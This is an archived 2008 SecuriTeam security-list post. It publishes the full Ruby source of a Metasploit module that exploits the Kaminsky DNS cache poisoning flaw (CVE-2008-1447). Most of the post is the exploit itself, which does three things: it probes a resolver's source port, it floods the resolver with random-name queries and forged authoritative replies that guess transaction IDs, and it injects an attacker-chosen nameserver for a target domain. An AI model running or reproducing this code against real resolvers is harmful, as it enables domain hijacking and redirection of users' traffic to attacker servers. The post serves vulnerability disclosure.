

# [EXPL] Kaminsky DNS Cache Poisoning Flaw Exploit for Domains

---

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2008-07/msg00021.html>

---

- *From:* SecuriTeam <[support@xxxxxxxxxxxxxx](mailto:support@xxxxxxxxxxxxxx)>
  - *Date:* 24 Jul 2008 13:03:55 +0200
- 

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

Kaminsky DNS Cache Poisoning Flaw Exploit for Domains

---

## SUMMARY

This exploit targets a fairly ubiquitous flaw in DNS implementations which allow the insertion of malicious DNS records into the cache of the target nameserver. This exploit caches a single malicious nameserver entry into the target nameserver which replaces the legitimate nameservers for the target domain. By causing the target nameserver to query for random hostnames at the target domain, the attacker can spoof a response to the target server including an answer for the query, an authority server record, and an additional record for that server, causing target nameserver to insert the additional record into the cache. This insertion completely replaces the original nameserver records for the target domain.

## DETAILS

Exploit:

require 'msf/core'

require 'net/dns'

require 'scruby'

require 'resolv'

## [EXPL] Kaminsky DNS Cache Poisoning Flaw Exploit for Domains

```
module Msf

class Auxiliary::Spoof::Dns::BailiWickedDomain < Msf::Auxiliary

include Exploit::Remote::Ip

def initialize(info = {})
  super(update_info(info,
    'Name' => 'DNS BailiWicked Domain
    Attack',
    'Description' => %q{
    This exploit attacks a fairly ubiquitous
    flaw in DNS implementations which
    Dan Kaminsky found and disclosed ~Jul
    2008. This exploit replaces the target
    domains nameserver entries in a vulnerable
    DNS cache server. This attack works
    by sending random hostname queries to the
    target DNS server coupled with spoofed
    replies to those queries from the
    authoritative nameservers for that domain.
    Eventually, a guessed ID will match, the
    spoofed packet will get accepted, and
    the nameserver entries for the target
    domain will be replaced by the server
    specified in the NEWDNS option of this
    exploit.
    },
    'Author' => [ 'Druid', 'hdm' ],
    'License' => MSF_LICENSE,
    'Version' => '$Revision: 5590 $',
    'References' =>
    [
    [ 'CVE', '2008-1447' ],
    [ 'US-CERT-VU', '8000113' ],
    [ 'URL',
    http://www.caughq.org/exploits/CAU-EX-2008-0003.txt ],
    ],
    'DisclosureDate' => 'Jul 21 2008'
  ))

  register_options(
  [
    OptPort.new('SRCPORT', [true, "The
    target server's source query port (0 for automatic)", nil]),
    OptString.new('DOMAIN', [true,
    'The domain to hijack', 'example.com']),
    OptString.new('NEWDNS', [true,
    'The hostname of the replacement DNS server', nil]),
    OptAddress.new('RECONS', [true,
    'Nameserver used for reconnaissance', '208.67.222.222']),
  ]
```

## [EXPL] Kaminsky DNS Cache Poisoning Flaw Exploit for Domains

```
OptInt.new('XIDS', [true, 'Number
of XIDs to try for each query', 10]),
OptInt.new('TTL', [true, 'TTL for
the malicious NS entry', 31337]),
], self.class)

end

def auxiliary_commands
return { "check" => "Determine if the specified DNS server
(RHOST) is vulnerable" }
end

def cmd_check(*args)
targ = args[0] || rhost()
if(not (targ and targ.length > 0))
print_status("usage: check [dns-server]")
return
end

print_status("Using the Metasploit service to verify
exploitability...")
srv_sock = Rex::Socket.create_udp(
'PeerHost' => targ,
'PeerPort' => 53
)

random = false
ports = []
lport = nil

1.upto(5) do |i|

req = Resolv::DNS::Message.new
txt =
"spooftprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
req.add_question(txt,
Resolv::DNS::Resource::IN::TXT)
req.rd = 1

srv_sock.put(req.encode)
res, addr = srv_sock.recvfrom()

if res and res.length > 0
res = Resolv::DNS::Message.decode(res)
res.each_answer do |name, ttl, data|
if (name.to_s == txt and
data.strings.join("") =~ /^([\s]+\s+)*red\.metasploit\.com/m)
t_addr, t_port =
$1.split(':')
```

## [EXPL] Kaminsky DNS Cache Poisoning Flaw Exploit for Domains

```
print_status(" >> ADDRESS:
#{t_addr} PORT: #{t_port}")
t_port = t_port.to_i
if(lport and lport !=
t_port)
random = true
end
lport = t_port
ports << t_port
end
end
end
end

srv_sock.close

if(ports.length < 5)
print_status("UNKNOWN: This server did not reply
to our vulnerability check requests")
return
end

if(random)
print_status("PASS: This server does not use a
static source port. Ports: #{ports.join(", ")")
print_status(" This server may still be
exploitable, but not by this tool.")
else
print_status("FAIL: This server uses static source
ports and is vulnerable to poisoning")
end
end

def run
target = rhost()
source = Rex::Socket.source_address(target)
sport = datastore['SRCPORT']
domain = datastore['DOMAIN'] + '.'
newdns = datastore['NEWDNS']
recons = datastore['RECONS']
xids = datastore['XIDS'].to_i
newttl = datastore['TTL'].to_i
xidbase = rand(20001) + 20000

address = Rex::Text.rand_text(4).unpack("C4").join(".")

srv_sock = Rex::Socket.create_udp(
'PeerHost' => target,
'PeerPort' => 53
)
```

## [EXPL] Kaminsky DNS Cache Poisoning Flaw Exploit for Domains

```
# Get the source port via the metasploit service if it's
not set
if sport.to_i == 0
req = Resolv::DNS::Message.new
txt =
"spooftprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
req.add_question(txt,
Resolv::DNS::Resource::IN::TXT)
req.rd = 1

srv_sock.put(req.encode)
res, addr = srv_sock.recvfrom()

if res and res.length > 0
res = Resolv::DNS::Message.decode(res)
res.each_answer do |name, ttl, data|
if (name.to_s == txt and
data.strings.join("") =~ /^[^\s]+\s+.*red\.metasploit\.com/m)
t_addr, t_port =
$1.split(':')
sport = t_port.to_i

print_status("Switching to
target port #{sport} based on Metasploit service")
if target != t_addr

print_status("Warning: target address #{target} is not the same as the
nameserver's query source address #{t_addr}!")
end
end
end
end
end

# Verify its not already poisoned
begin
query = Resolv::DNS::Message.new
query.add_question(domain,
Resolv::DNS::Resource::IN::NS)
query.rd = 0

begin
cached = false
srv_sock.put(query.encode)
answer, addr = srv_sock.recvfrom()

if answer and answer.length > 0
answer =
Resolv::DNS::Message.decode(answer)
answer.each_answer do |name, ttl,
```

## [EXPL] Kaminsky DNS Cache Poisoning Flaw Exploit for Domains

```
data|

if((name.to_s + ".") ==
domain and data.name.to_s == newdns)
t = Time.now + ttl

print_status("Failure: This domain is already using #{newdns} as a
nameserver")
print_status("
Cache entry expires on #{t.to_s}")
srv_sock.close
disconnect_ip
return
end
end

end
end until not cached
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_status("Error checking the DNS name:
#{e.class} #{e} #{e.backtrace}")
end

res0 = Net::DNS::Resolver.new(:nameservers => [recons],
:dns_search => false, :recursive => true) # reconnaissance resolver

print_status "Targeting nameserver #{target} for injection
of #{domain} nameservers as #{newdns}"

# Look up the nameservers for the domain
print_status "Querying recon nameserver for #{domain}'s
nameservers..."
answer0 = res0.send(domain, Net::DNS::NS)
#print_status " Got answer with #{answer0.header.anCount}
answers, #{answer0.header.nsCount} authorities"

barbs = [] # storage for nameservers
answer0.answer.each do |rr0|
print_status " Got an #{rr0.type} record:
#{rr0.inspect}"
if rr0.type == 'NS'
print_status " Querying recon nameserver
for address of #{rr0.nsdname}..."
answer1 = res0.send(rr0.nsdname) # get the
ns's answer for the hostname
#print_status " Got answer with
#{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities"
answer1.answer.each do |rr1|
```

## [EXPL] Kaminsky DNS Cache Poisoning Flaw Exploit for Domains

```
print_status " Got an
#{rr1.type} record: #{rr1.inspect}"
res2 =
Net::DNS::Resolver.new(:nameservers => rr1.address, :dns_search => false,
:recursive => false, :retry => 1)
print_status " Checking
Authoritativeness: Querying #{rr1.address} for #{domain}..."
answer2 = res2.send(domain)
if answer2 and
answer2.header.auth? and answer2.header.anCount >= 1
nsrec = { :name =>
rr0.nsdname, :addr => rr1.address }
barbs << nsrec
print_status "
#{rr0.nsdname} is authoritative for #{domain}, adding to list of
nameservers to spoof as"
end
end
end
end

if barbs.length == 0
print_status( "No DNS servers found.")
srv_sock.close
disconnect_ip
return
end

# Flood the target with queries and spoofed responses, one
will eventually hit
queries = 0
responses = 0

connect_ip if not ip_sock

print_status( "Attempting to inject poison records for
#{domain}'s nameservers into #{target}:#{sport}...")

while true
randhost = Rex::Text.rand_text_alphanumeric(12) +
'.' + domain # randomize the hostname

# Send spoofed query
req = Resolv::DNS::Message.new
req.id = rand(2**16)
req.add_question(randhost,
Resolv::DNS::Resource::IN::A)

req.rd = 1

buff = (
```

## [EXPL] Kaminsky DNS Cache Poisoning Flaw Exploit for Domains

```
Scruby::IP.new(
#:src => barbs[0][:addr].to_s,
:src => source,
:dst => target,
:proto => 17
)/Scruby::UDP.new(
:sport =>
(rand((2**16)-1024)+1024).to_i,
:dport => 53
)/req.encode
).to_net
ip_sock.sendto(buff, target)
queries += 1

# Send evil spoofed answer from ALL nameservers
(barbs[*][:addr])
req.add_answer(randhost, newttl,
Resolv::DNS::Resource::IN::A.new(address))
req.add_authority(domain, newttl,
Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(newdns)))
req.add_additional(newdns, newttl,
Resolv::DNS::Resource::IN::A.new(address)) # Ignored
req.qr = 1
req.aa = 1

xidbase.upto(xidbase+xids-1) do |id|
req.id = id
barbs.each do |barb|
buff = (
Scruby::IP.new(
#:src =>
barbs[i][:addr].to_s,
:src =>
barb[:addr].to_s,
:dst => target,
:proto => 17
)/Scruby::UDP.new(
:sport => 53,
:dport =>
sport.to_i
)/req.encode
).to_net
ip_sock.sendto(buff, target)
responses += 1
end
end

# status update
if queries % 1000 == 0
print_status("Sent #{queries} queries and
#{responses} spoofed responses...")
```

## [EXPL] Kaminsky DNS Cache Poisoning Flaw Exploit for Domains

```
end

# every so often, check and see if the target is
poisoned...
if queries % 250 == 0
begin
query = Resolv::DNS::Message.new
query.add_question(domain,
Resolv::DNS::Resource::IN::NS)
query.rd = 0

srv_sock.put(query.encode)
answer, addr = srv_sock.recvfrom()

if answer and answer.length > 0
answer =
Resolv::DNS::Message.decode(answer)
answer.each_answer do
|name, ttl, data|
if((name.to_s +
".") == domain and data.name.to_s == newdns)

print_status("Poisoning successful after #{queries} attempts: #{domain} ==
#{newdns}")

srv_sock.close

disconnect_ip
return
end
end
end
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_status("Error querying the
DNS name: #{e.class} #{e} #{e.backtrace}")
end
end

end

end

end
end
```

CVE Information:

<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1447>>  
CVE-2008-1447

ADDITIONAL INFORMATION

The information has been provided by <<mailto:druid@xxxxxxxxxx>> Druid.

The original article can be found at:

<<http://www.caughq.org/exploits/CAU-EX-2008-0003.txt>>

<http://www.caughq.org/exploits/CAU-EX-2008-0003.txt>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@xxxxxxxxxxxxxx](mailto:list-unsubscribe@xxxxxxxxxxxxxx)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@xxxxxxxxxxxxxx](mailto:list-subscribe@xxxxxxxxxxxxxx)

=====

=====

**DISCLAIMER:**

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.